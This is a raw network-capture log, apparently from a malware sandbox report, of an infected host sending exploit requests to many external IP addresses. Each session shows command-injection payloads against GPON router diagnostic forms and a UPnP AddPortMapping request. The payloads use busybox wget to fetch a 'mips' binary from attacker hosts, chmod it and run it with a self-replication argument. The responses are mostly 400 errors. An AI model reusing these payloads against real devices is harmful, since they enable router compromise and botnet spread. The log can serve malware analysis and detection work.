6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:53:17.524708033 CEST	1288	IN	HTTP/1.1 503 Service Unavailable Content-Type: text/html; charset=UTF-8 Content-Length: 11709 Connection: close P3P: CP="CAO PSA OUR" Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 50 50 4c 49 43 41 54 49 4f 4e 20 42 4c 4f 43 4b 45 44 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 23 63 7b 62 6f 72 64 65 72 3a 33 70 78 20 73 6f 6c 69 64 20 23 61 61 61 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 6d 61 72 67 69 6e 3a 32 30 3b 70 61 64 64 69 6e 67 3a 32 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 0a 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 0a 68 32 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 7d 0a 68 31 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 32 7b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 33 7b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 35 7b 6d 61 72 67 69 6e 3a 32 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 37 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 38 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 35 36 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 7d 0a 62 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 65 37 65 38 65 39 22 3e 0a 3c 64 69 76 20 69 64 3d 22 63 22 3e 0a 3c 68 31 3e 0a 3c 69 6d 67 20 77 69 64 74 68 3d 22 35 30 30 22 20 73 72 63 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 6a 70 65 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 66 51 41 41 41 42 66 43 41 59 41 41 41 41 65 65 6a 55 54 41 41 41 57 6c 55 6c 45 51 56 52 34 58 75 31 64 43 66 53 33 78 52 52 2b 45 69 48 4b 6b 69 49 6c 61 61 4f 79 6c 45 4a 4b 53 65 67 6f 57 34 68 30 4f 4b 58 51 6b 65 78 4c 6c 70 41 74 74 4b 47 4f 49 78 57 79 5a 6b 39 6f 51 32 52 72 49 55 75 70 4a 45 4a 55 6f 74 4b 69 49 69 48 4f 55 2b 2b 63 4d 39 2f 30 4c 6a 4e 33 35 74 31 2b 33 33 50 50 2b 5a 39 76 2b 63 2f 63 75 66 50 4d 76 50 50 4d 63 75 66 4f 4d 70 41 49 41 53 45 67 42 49 53 41 45 42 41 43 73 30 64 67 6d 64 6e 58 51 42 55 51 41 6b 4a 41 43 41 67 42 49 53 41 45 49 45 4a 58 4a 78 41 43 51 6b 41 49 43 41 45 68 73 41 41 49 69 4e 41 58 6f 42 46 56 42 53 45 67 42 49 53 41 45 42 41 43 49 6e 54 31 41 53 45 67 Data Ascii: <html><head><title>APPLICATION BLOCKED</title><style>#c{border:3px solid #aaa;background-color:#fff;margin:20;padding:20;font-family:Tahoma,Helvetica,Arial,sans-serif;font-size:12px;}h1,h2,h3,h4,h5,h6,h7,h8{font-weight:bold;}h2,h3{font-size:20px;}h1{text-align:center;font-size:22px;color:#cc0000;}h2{color:#330066;}h3{color:#666;}h4{font-size:16px;color:#666;}h5{margin:20;text-align:left;font-size:12px;color:#666;}h6{font-size:16px;color:#cc0000;}h7{font-size:14px;color:#330066;}h8{text-align:center;font-size:56px;color:#330066;font-weight:bold;text-decoration:underline;}b{font-size:16px;font-weight:bold;color:#cc0000;}</style></head><body bgcolor="#e7e8e9"><div id="c"><h1><img width="500" src="data:image/jpeg;base64,iVBORw0KGgoAAAANSUhEUgAAAfQAAABfCAYAAAAeejUTAAAWlUlEQVR4Xu1dCfS3xRR+EiHKkiIlaaOylEJKSegoW4h0OKXQkexLlpAttKGOIxWyZk9oQ2RrIUupJEJUotKiIiHOU++cM9/0LjN35t1+33PP+Z9v+c/cufPMvPPMcufOMpAIASEgBISAEBACs0dgmdnXQBUQAkJACAgBISAEIEJXJxACQkAICAEhsAAIiNAXoBFVBSEgBISAEBACInT1ASEg

Session ID	Source IP	Source Port	Destination IP	Destination Port
773	192.168.2.13	58090	103.87.141.213	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:16.477469921 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:16.864677906 CEST	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.22.0 Date: Mon, 15 Apr 2024 06:53:16 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.22.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
774	192.168.2.13	58862	104.20.97.234	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:16.494594097 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:16.647423983 CEST	328	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 15 Apr 2024 06:53:16 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
775	192.168.2.13	45692	129.137.5.227	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:16.565346003 CEST	307	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
776	192.168.2.13	37258	153.145.78.153	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:16.613220930 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:16.877851963 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Mon, 15 Apr 2024 06:53:16 GMT Date: Mon, 15 Apr 2024 06:53:16 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 33 66 37 38 62 65 64 32 26 23 34 36 3b 31 37 31 33 31 36 33 39 39 36 26 23 34 36 3b 63 64 64 33 66 32 32 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 33 66 37 38 62 65 64 32 26 23 34 36 3b 31 37 31 33 31 36 33 39 39 36 26 23 34 36 3b 63 64 64 33 66 32 32 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.3f78bed2.1713163996.cdd3f22<P>https://errors.edgesuite.net/9.3f78bed2.1713163996.cdd3f22</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
777	192.168.2.13	37452	34.120.237.67	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:16.647212982 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
778	192.168.2.13	41760	38.174.157.147	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:16.657032013 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:16.973205090 CEST	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 15 Apr 2024 06:53:16 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
779	192.168.2.13	56418	112.84.130.47	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:16.666456938 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:16.991182089 CEST	315	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 15 Apr 2024 06:53:16 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
780	192.168.2.13	56420	112.84.130.47	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:16.667887926 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:16.993846893 CEST	315	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 15 Apr 2024 06:53:16 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
781	192.168.2.13	56412	112.84.130.47	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:16.668836117 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:16.995976925 CEST	315	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 15 Apr 2024 06:53:16 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
782	192.168.2.13	56416	112.84.130.47	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:16.669589996 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
